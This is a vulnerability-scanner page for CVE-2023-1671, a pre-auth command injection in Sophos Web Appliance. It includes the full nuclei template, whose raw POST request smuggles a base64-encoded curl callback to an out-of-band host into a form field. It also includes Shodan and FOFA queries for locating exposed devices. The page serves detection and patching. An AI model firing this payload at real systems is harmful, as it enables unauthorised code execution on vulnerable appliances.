Sophos Web Appliance - Remote Code Execution

Exploited in the wild. Listed by CISA on 2023-11-16; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patches or updates provided by Sophos to mitigate this vulnerability.

How to confirm it

Send: POST /index.php?c=blocked&action=continue
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: curl"

Run it with nuclei: nuclei -id CVE-2023-1671 -u <target>

The full check

id: CVE-2023-1671

info:
  name: Sophos Web Appliance - Remote Code Execution
  author: Co5mos
  severity: critical
  description: |
    A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by Sophos to mitigate this vulnerability.
  reference:
    - https://vulncheck.com/blog/cve-2023-1671-analysis
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1671
    - http://packetstormsecurity.com/files/172016/Sophos-Web-Appliance-4.3.10.4-Command-Injection.html
    - https://www.sophos.com/en-us/security-advisories/sophos-sa-20230404-swa-rce
    - https://github.com/lions2012/Penetration_Testing_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-1671
    cwe-id: CWE-77
    epss-score: 0.99999
    epss-percentile: 0.99992
    cpe: cpe:2.3:a:sophos:web_appliance:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sophos
    product: web_appliance
    shodan-query:
      - title:"Sophos Web Appliance"
      - http.title:"sophos web appliance"
      - http.favicon.hash:-893681401
    fofa-query:
      - title="Sophos Web Appliance"
      - title="sophos web appliance"
      - icon_hash=-893681401
    google-query: intitle:"sophos web appliance"
  tags: cve2023,cve,packetstorm,rce,sophos,oast,kev,vkev,vuln

http:
  - raw:
      - |
        POST /index.php?c=blocked&action=continue HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        args_reason=filetypewarn&url={{randstr}}&filetype={{randstr}}&user={{randstr}}&user_encoded={{base64("\';curl http://{{interactsh-url}} #")}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"

References

Use this check only on systems you are authorised to test. Where the data comes from